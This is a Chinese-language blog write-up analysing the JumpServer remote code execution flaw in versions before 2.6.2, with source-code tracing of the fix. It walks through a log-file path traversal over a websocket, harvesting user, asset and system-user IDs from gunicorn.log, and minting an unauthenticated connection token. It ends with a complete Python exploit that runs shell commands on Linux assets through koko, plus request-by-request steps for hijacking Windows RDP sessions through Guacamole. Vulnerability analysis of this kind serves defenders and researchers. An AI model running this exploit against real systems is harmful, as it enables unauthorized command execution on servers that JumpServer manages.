• JumpServer rce深入剖析


    影响范围

    JumpServer < v2.6.2

    JumpServer < v2.5.4

    JumpServer < v2.4.5

    JumpServer = v1.5.9

    修复链接及参考

    修改了一处代码:

    Git History

    增加了一处鉴权

    1. def connect(self):
    2. user = self.scope["user"]
    3. if user.is_authenticated and user.is_org_admin:
    4. self.accept()
    5. else:
    6. self.close()

    官方修复建议。关闭以下两个接口访问

    /api/v1/authentication/connection-token

    /api/v1/users/connection-token/

    log文件读取

    漏洞存在的位置在于“资产管理->资产列表->测试资产可连接性/更新硬件信息”功能。

    会打开一个html页面,去访问ws://172.16.20.5:8080/ws/ops/tasks/log/发送{"task":"6b52e7af-735e-4bd3-a492-5a458c2d07e3"}

    然后把资产的信息返回。

    对应的代码前端模板html在:/apps/ops/templates/ops/celery_task_log.html,后端代码在:/apps/ops/ws.py

    跟一下这个请求的路由吧。

    /apps/ops/urls/ws_urls.py中定义了ws/ops/tasks/log/的路由

    1. urlpatterns = [
    2. path('ws/ops/tasks/log/', ws.CeleryLogWebsocket, name='task-log-ws'),
    3. ]

    然后跟CeleryLogWebsocket走到了上面一直提到的ws.py。在接收到发送过来的task_id之后一路走到wait_util_log_path_exist函数

    1. def wait_util_log_path_exist(self, task_id):
    2. log_path = get_celery_task_log_path(task_id)
    3. while not self.disconnected:
    4. if not os.path.exists(log_path):
    5. self.send_json({'message': '.', 'task': task_id})
    6. time.sleep(0.5)
    7. continue
    8. self.send_json({'message': '\r\n'})
    9. try:
    10. logger.debug('Task log path: {}'.format(log_path))
    11. task_log_f = open(log_path, 'rb')
    12. return task_log_f
    13. except OSError:
    14. return None

    先是判断get_celery_task_log_path返回的路径是否存在,如果存在就读取。

    然后跟进到get_celery_task_log_path函数:

    1. def get_celery_task_log_path(task_id):
    2. task_id = str(task_id)
    3. rel_path = os.path.join(task_id[0], task_id[1], task_id + '.log')
    4. path = os.path.join(settings.CELERY_LOG_DIR, rel_path)
    5. os.makedirs(os.path.dirname(path), exist_ok=True)
    6. return path

    发现是直接用os.path.join去做一个简单的拼接,所以任意路径下的.log后缀的文件都可以读取。

    有大佬提到过可以读access.log或者是auth.log,听起来不错,但是搭建起来环境就会发现jumpserver是一堆docker容器启动的,可以读log文件的那台机器上的log后缀文件如下:

    1. root@829a1096039f:/opt/jumpserver# find / -name *.log
    2. /opt/jumpserver/data/celery/9/d/9d27be60-2b29-4569-b694-11ccb40d0031.log
    3. /opt/jumpserver/logs/ansible.log
    4. /opt/jumpserver/logs/drf_exception.log
    5. /opt/jumpserver/logs/jumpserver.log
    6. /opt/jumpserver/logs/unexpected_exception.log
    7. /opt/jumpserver/logs/gunicorn.log
    8. /opt/jumpserver/logs/flower.log
    9. /opt/jumpserver/logs/daphne.log
    10. /opt/jumpserver/logs/celery_ansible.log
    11. /opt/jumpserver/logs/celery_default.log
    12. /opt/jumpserver/logs/celery_node_tree.log
    13. /opt/jumpserver/logs/celery_check_asset_perm_expired.log
    14. /opt/jumpserver/logs/celery_heavy_tasks.log
    15. /opt/jumpserver/logs/beat.log
    16. /opt/jumpserver/logs/celery.log
    17. /var/log/apt/history.log
    18. /var/log/apt/term.log
    19. /var/log/alternatives.log
    20. /var/log/dpkg.log

    除了本身能产生的log之外,其他的log并没有实际利用。

    获取uuid和token

    经过研究,发现了以下两条攻击链,分别是koko跳板中间件->linux资产和guacamole跳板中间件->windows资产。

    利用条件是配置资产之后需要登录过资产(用过),这个基本上百分百满足,因为基本上配置的资产就是用来用的。

    可以读取

    /opt/jumpserver/logs/gunicorn.log

    使用chrome插件Websocket Test Client连接websocket

    ws://172.16.20.5:8080/ws/ops/tasks/log/发送{"task":"/opt/jumpserver/logs/gunicorn"}

    然后拿到gunicorn.log的内容之后全局搜索

    /api/v1/perms/asset-permissions/user/actions/

    DEMO:

    /api/v1/perms/asset-permissions/user/actions/?user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d&asset_id=0ddec806-b5e1-43ed-947e-da992e4b4b2b&system_user_id=88f7dfab-0cba-4062-869f-990b5148bd06

    对应的是连接资产的system_user_id、user_id和asset_id。分别代表着管理用户、系统用户和资产的唯一标识。

    linux的资产可以全局搜索:

    /api/v1/perms/asset-permissions/user/validate

    DEMO:

    /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=fd22d77d-8469-4cee-a783-0b69d9b5eaf6&cache_policy=1&system_user_id=e5b69a74-f22e-420b-ba90-c12bd9f1ba3b&user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d

    代表含义同上。

    然后拿到这三者可以做什么呢,回去看前面的修补建议:

    1. 关闭以下两个接口访问
    2. /api/v1/authentication/connection-token
    3. /api/v1/users/connection-token/

    对应的路由代码在:/apps/users/urls/api_urls.py

    认证的代码在:/apps/authentication/api/auth.py

    1. class UserConnectionTokenApi(RootOrgViewMixin, APIView):
    2. permission_classes = (IsOrgAdminOrAppUser,)
    3. def post(self, request):
    4. user_id = request.data.get('user', '')
    5. asset_id = request.data.get('asset', '')
    6. system_user_id = request.data.get('system_user', '')
    7. token = str(uuid.uuid4())
    8. user = get_object_or_404(User, id=user_id)
    9. asset = get_object_or_404(Asset, id=asset_id)
    10. system_user = get_object_or_404(SystemUser, id=system_user_id)
    11. value = {
    12. 'user': user_id,
    13. 'username': user.username,
    14. 'asset': asset_id,
    15. 'hostname': asset.hostname,
    16. 'system_user': system_user_id,
    17. 'system_user_name': system_user.name
    18. }
    19. cache.set(token, value, timeout=20)
    20. return Response({"token": token}, status=201)
    21. def get(self, request):
    22. token = request.query_params.get('token')
    23. user_only = request.query_params.get('user-only', None)
    24. value = cache.get(token, None)
    25. if not value:
    26. return Response('', status=404)
    27. if not user_only:
    28. return Response(value)
    29. else:
    30. return Response({'user': value['user']})
    31. def get_permissions(self):
    32. if self.request.query_params.get('user-only', None):
    33. self.permission_classes = (AllowAny,)
    34. return super().get_permissions()

    可以看到把三个uuidpost发过去之后会返回一个20s超时的token。同时需要get给user-only传入一个值,不然会报not_authenticated。

    1. import requests
    2. import json
    3. data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
    4. url_host='http://192.168.1.73:8080'
    5. def get_token():
    6. url = url_host+'/api/v1/users/connection-token/?user-only=1'
    7. response = requests.post(url, json=data).json()
    8. print(response)
    9. return response['token']
    10. get_token()

    koko->linux资产

    jumpserver的架构是一个叫luna的前端在前面缝合了koko和guacamole来做一个统一的面板管理,所以说只要拿到token和各个id就可以和koko和guacamole通信,从而控制资产。

    所以只要简单的去找正常登陆资产的接口即可。

    以下大部分内容cv自:jumpserver远程代码执行漏洞分析 - print("")

    在/koko/static/js/koko.js中找到

    1. let wsURL = baseWsUrl + '/koko/ws/terminal/?' + urlParams.toString();
    2. switch (urlParams.get("type")) {
    3. case 'token':
    4. wsURL = baseWsUrl + "/koko/ws/token/?" + urlParams.toString();
    5. break
    6. default:
    7. }
    8. ws = new WebSocket(wsURL, ["JMS-KOKO"]);
    9. term = createTerminalById(elementId)

    接口/koko/ws/terminal/?和/koko/ws/token/?

    对应的后端代码https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

    345和351行写了路由

    1. func (s *server) websocketHandlers(router *gin.RouterGroup) {
    2. wsGroup := router.Group("/ws/")
    3. wsGroup.Group("/terminal").Use(
    4. s.middleSessionAuth()).GET("/", s.processTerminalWebsocket)
    5. wsGroup.Group("/elfinder").Use(
    6. s.middleSessionAuth()).GET("/", s.processElfinderWebsocket)
    7. wsGroup.Group("/token").GET("/", s.processTokenWebsocket)
    8. }

    跟进processTokenWebsocket

    1. func (s *server) processTokenWebsocket(ctx *gin.Context) {
    2. tokenId, _ := ctx.GetQuery("target_id")
    3. tokenUser := service.GetTokenAsset(tokenId)
    4. if tokenUser.UserID == "" {
    5. logger.Errorf("Token is invalid: %s", tokenId)
    6. ctx.AbortWithStatus(http.StatusBadRequest)
    7. return
    8. }
    9. currentUser := service.GetUserDetail(tokenUser.UserID)
    10. if currentUser == nil {
    11. logger.Errorf("Token userID is invalid: %s", tokenUser.UserID)
    12. ctx.AbortWithStatus(http.StatusBadRequest)
    13. return
    14. }
    15. targetType := TargetTypeAsset
    16. targetId := strings.ToLower(tokenUser.AssetID)
    17. systemUserId := tokenUser.SystemUserID
    18. s.runTTY(ctx, currentUser, targetType, targetId, systemUserId)
    19. }

    发现就是发了一个target_id过来,看逻辑应该就是刚刚拿到的20s的token。然后再从token里面去拿SystemUserID、AssetID、UserID从而精准的连接上资产runTTY则是连接资产的函数。

    具体实现可看代码https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/userwebsocket.go

    也就是说websocket连上

    /koko/ws/token/?target_id=20s_token

    就相当于连上了生成这个token的资产。

    最后的exp:

    1. # coding=utf-8
    2. import asyncio
    3. import websockets
    4. import json
    5. import requests
    6. import re
    7. target_url = 'http://192.168.1.73:8080'
    8. cmd = "ifconfig"
    9. async def get_token():
    10. url = target_url.replace("http", "ws") + "/ws/ops/tasks/log/"
    11. print("Request => " + url + "token")
    12. async with websockets.connect(url, timeout=3) as websocket:
    13. await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')
    14. for x in range(1000):
    15. try:
    16. rs = await asyncio.wait_for(websocket.recv(), timeout=3)
    17. if '/api/v1/perms/asset-permissions/user/validate' in rs:
    18. break
    19. except:
    20. print("获取不到用户信息")
    21. exit()
    22. pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')
    23. matchObj = pattern.search(rs)
    24. if matchObj:
    25. asset_id = matchObj.group(1)
    26. system_user_id = matchObj.group(2)
    27. user_id = matchObj.group(3)
    28. data = {'asset': asset_id, 'system_user': system_user_id, 'user': user_id}
    29. print("用户信息如下:%s"%data)
    30. url = target_url + '/api/v1/users/connection-token/?user-only=1'
    31. response = requests.post(url, json=data).json()
    32. return response['token']
    33. async def attack(url):
    34. async with websockets.connect(url, timeout=3) as websocket:
    35. print("Request => " + url)
    36. rs = await websocket.recv()
    37. print("Recv => " + rs)
    38. id = json.loads(rs)["id"]
    39. print("id = " + id)
    40. init_payload = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
    41. await websocket.send(init_payload)
    42. rs = await websocket.recv()
    43. rs = ""
    44. while "Last login" not in rs:
    45. rs = await websocket.recv()
    46. cmd_payload = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
    47. await websocket.send(cmd_payload)
    48. for x in range(1000):
    49. try:
    50. rs = await asyncio.wait_for(websocket.recv(), timeout=3)
    51. rs=json.loads(rs)
    52. print("Recv => " + rs['data'])
    53. except:
    54. print('recv data end')
    55. break
    56. def exp():
    57. token = asyncio.get_event_loop().run_until_complete(get_token())
    58. url = target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + token
    59. asyncio.get_event_loop().run_until_complete(attack(url))
    60. if __name__ == '__main__':
    61. exp()

    同时也跟进一下processTerminalWebsocket发现检查了ginCtxUserKey,而ginCtxUserKey是需要csrftoken和sessionid才能set的,所以不登陆没法用这个接口。

    1. func (s *server) checkSessionValid(ctx *gin.Context) bool {
    2. var (
    3. csrfToken string
    4. sessionid string
    5. err error
    6. user *model.User
    7. )
    8. if csrfToken, err = ctx.Cookie("csrftoken"); err != nil {
    9. logger.Errorf("Get cookie csrftoken err: %s", err)
    10. return false
    11. }
    12. if sessionid, err = ctx.Cookie("sessionid"); err != nil {
    13. logger.Errorf("Get cookie sessionid err: %s", err)
    14. return false
    15. }
    16. user, err = service.CheckUserCookie(sessionid, csrfToken)
    17. if err != nil {
    18. logger.Errorf("Check user session err: %s", err)
    19. return false
    20. }
    21. ctx.Set(ginCtxUserKey, user)
    22. return true
    23. }

    guacamole->windows资产

    按照koko的思路,继续开始找接口,捋清楚大致流程如下:

    先访问:

    1. POST /guacamole/api/tokens HTTP/1.1
    2. Cookie: csrftoken=HztV0vZUYXTg69c6zpNPAHQeZX6VHDyFvm1xN6uV8BaxHEp0Mj5OrOBjkkrC8VHt; sessionid=jfgmd8ti8vqi9qk38b8smodttsm1x3kn; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146; activeTab=AssetPermissionDetail
    3. username=3a38b6f0-3947-401c-936b-af6ccc3d382d&password=jumpserver&asset_token=

    username是最开始拿到的userid,password应该是默认的密码jumpserver,这个asset_token为空就很耐人寻味,后面再细说。

    返回的是:

    {"authToken":"E95119057E5796A566C510678F0C6D6BA4A68F34DE32FE2FB559953DBE0899D8","username":"3a38b6f0-3947-401c-936b-af6ccc3d382d","dataSource":"jumpserver","availableDataSources":["jumpserver"]}

    然后用返回的authToken加上三个id去请求:

    /guacamole/api/session/ext/jumpserver/asset/add?user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d&asset_id=0ddec806-b5e1-43ed-947e-da992e4b4b2b&system_user_id=88f7dfab-0cba-4062-869f-990b5148bd06&token=E95119057E5796A566C510678F0C6D6BA4A68F34DE32FE2FB559953DBE0899D8

    返回的是:

    {"code":200,"result":"M2UwMDJiNjYtMmFhYS00MjFlLTk5NTktNWQwYmNkZmMzNjgwAGMAanVtcHNlcnZlcg=="}

    抓到的接口请求大致就是这些。

    上代码:http://download.jumpserver.org/release/v2.2.0/guacamole-client-v2.2.0.tar.gz

    guacamole-1.2.0.war中的/WEB-INF/classes/org/apache/guacamole/rest/RESTServiceModule.class中定义了/api/*的路由,/WEB-INF/classes/org/apache/guacamole/rest/auth/TokenRESTService.class定义了/tokens/的路由。

    然后一直走到guacamole-auth-jumpserver-1.2.0.jarorg.apache.guacamole.auth.jumpserver.JumpserverAuthenticationProvider的getAuthorizedConfigurations函数

    1. private Map<String, GuacamoleConfiguration> getAuthorizedConfigurations(Credentials credentials) {
    2. JumpserverConfigurationService configurationService = (JumpserverConfigurationService)injector.getInstance(JumpserverConfigurationService.class);
    3. Map<String, GuacamoleConfiguration> configs = null;
    4. if (configurationService.validateToken(credentials)) {
    5. configs = new HashMap<>();
    6. return configs;
    7. }
    8. if (configurationService.validateUser(credentials.getUsername(), credentials))
    9. configs = new HashMap<>();
    10. return configs;
    11. }

    再进validateToken的判断

    1. public boolean validateToken(Credentials credentials) {
    2. String assetToken = credentials.getRequest().getParameter("asset_token");
    3. return !StringUtil.isBlank(assetToken);
    4. }

    从这里看到传入的asset_token是有用的,仅仅是检查不为空即可。

    所以说只需要把随便放一个东西进去asset_token就能拿到一个authToken了(ps:其实我是先黑盒挖到的,因为我看流量的时候比较奇怪为什么那个asset_token的值为空,然后就把那个20s的token丢过去发现居然也生成了authToken,然后就下意识以为guacamole有两种认证模式,一种是判断csrftoken和sessionid,另外一种是把20s的token丢过去所以才能攻击成功,审一下代码居然是不为空就可以了。。。)。

    然后再用拿到的authToken去添加一个资产,也就是上面的第二个接口。代码分析如下:

    路由跟进:

    guacamole-1.2.0.war中的/WEB-INF/classes/org/apache/guacamole/rest/RESTServiceModule.class中定义了/api/*的路由,跟进到WEB-INF/classe/org/apache/guacamole/rest/session/SessionRESTService.class定义了/session路由,跟进到WEB-INF/classe/org/apache/guacamole/rest/session/SessionResource.class定义/ext/{dataSource}路由,然后根据上面的请求返回可知dataSource是jumpserver,这里也对上了。

    然后跨到guacamole-auth-jumpserver-1.2.0.jarorg.apache.guacamole.auth.jumpserver.rest.RESTService中定义了添加资产的具体代码:

    1. @Path("/asset/add")
    2. public Object add(@Context HttpServletRequest request, @FormParam("username") String username, @FormParam("password") String password) {
    3. try {
    4. AssetRequest assetRequest = getAssetRequest(request);
    5. assetRequest.setUsername(username);
    6. assetRequest.setPassword(password);
    7. if (assetRequest.getUserId() == null || assetRequest.getAssetId() == null || assetRequest.getSystemUserId() == null)
    8. return new ReturnHolder(400, "user_id);
    9. String result = this.jumpserverConfigurationService.addAsset(assetRequest);
    10. return new ReturnHolder(200, result);
    11. } catch (Exception e) {
    12. logger.error("[/asset/add], e);
    13. return new ReturnHolder(500, e.getMessage());
    14. }
    15. }

    进入到addAsset

    1. public String addAsset(AssetRequest request) throws GuacamoleException {
    2. UserContext userContext;
    3. String userId = request.getUserId();
    4. String assetId = request.getAssetId();
    5. String systemUserId = request.getSystemUserId();
    6. if (request.getToken() != null) {
    7. userContext = UserContextMap.get(request.getToken());
    8. } else {
    9. userContext = UserContextMap.get(userId);
    10. }
    11. if (userContext == null)
    12. throw new GuacamoleException(");
    13. Permission permission = this.jumpserverService.getPermission(userId, assetId, systemUserId);
    14. if (permission == null || permission.getActions() == null || permission.getActions().size() == 0) {
    15. logger.error(");
    16. throw new GuacamoleException(");
    17. }
    18. if (!permission.enableConnect()) {
    19. logger.error("" + permission.getActions());
    20. throw new GuacamoleException("" + permission.getActions());
    21. }
    22. return registerAsset(request, permission, null);
    23. }

    看到仅仅是检查传入的三个uuid和token,看上面的demo请求是已经把authToken传入了token参数的。

    然后跟进到registerAsset

    1. private String registerAsset(AssetRequest request, Permission permission, ParameterRemoteApp remoteApp) throws GuacamoleException {
    2. ...
    3. Connection conn = getConnection(jmsConfig);
    4. userContext.getConnectionDirectory().add((Identifiable)conn);
    5. userContext.getRootConnectionGroup().getConnectionIdentifiers().add(conn.getIdentifier());
    6. logger.info("" + userId + ", assetId: " + assetId + ", systemUserId: " + systemUserId);
    7. return getBaseCode(conn.getIdentifier());
    8. }

    getBaseCode:

    1. private String getBaseCode(String identifier) throws GuacamoleException {
    2. try {
    3. String type = "c";
    4. String source = "jumpserver";
    5. return CodingUtil.base64Encoding(identifier + "\000" + type + "\000" + source);
    6. } catch (UnsupportedEncodingException e) {
    7. logger.error(", e);
    8. throw new GuacamoleException(", e);
    9. }
    10. }

    最后返回了一个base64字符串,生成规则如上,也就是上面请求的那个返回。

    然后获取拿到的base64字符串去访问/guacamole/#/client/{base64},即可访问到创建的rdp连接,但是又有一个问题,rdp是长连接的,guacamole有一个持续鉴权的过程,需要修改localstorageGUAC_AUTH等字段,将authTokenusername改成获取到的值,再刷新浏览器即可访问到windows资产完成rce。

    1. 比如:
    2. GUAC_AUTH:
    3. {"authToken":"4355CAD128C23ED68ECBD5DAC457EAB8EC0E502D5BAD7658DA770CD3CEF7A5CF","username":"3a38b6f0-3947-401c-936b-af6ccc3d382d","dataSource":"jumpserver","availableDataSources":["jumpserver"]}
    4. user:
    5. 3a38b6f0-3947-401c-936b-af6ccc3d382d
    6. GUAC_PREFERENCES
    7. {"emulateAbsoluteMouse":true,"inputMethod":"none","language":"zh_CN","timezone":"Asia/Shanghai"}
    8. GUAC_HISTORY
    9. [[]]
  • 相关阅读:
    树形DP()
    聊天没有表情包被嘲讽,程序员直接用python爬取了十万张表情包
    2022牛客多校(二)
    GPU池化和虚拟化
    FFmpeg代码编程获取视频信息
    服务器托管费用包含什么?
    《SpringBoot篇》06.超详细热部署教学
    机器学习中的数学原理——梯度下降法(最速下降法)
    java毕业设计“花园街道”社区医院服务系统mybatis+源码+调试部署+系统+数据库+lw
    数据库连接池
  • 原文地址:https://blog.csdn.net/why811/article/details/133704353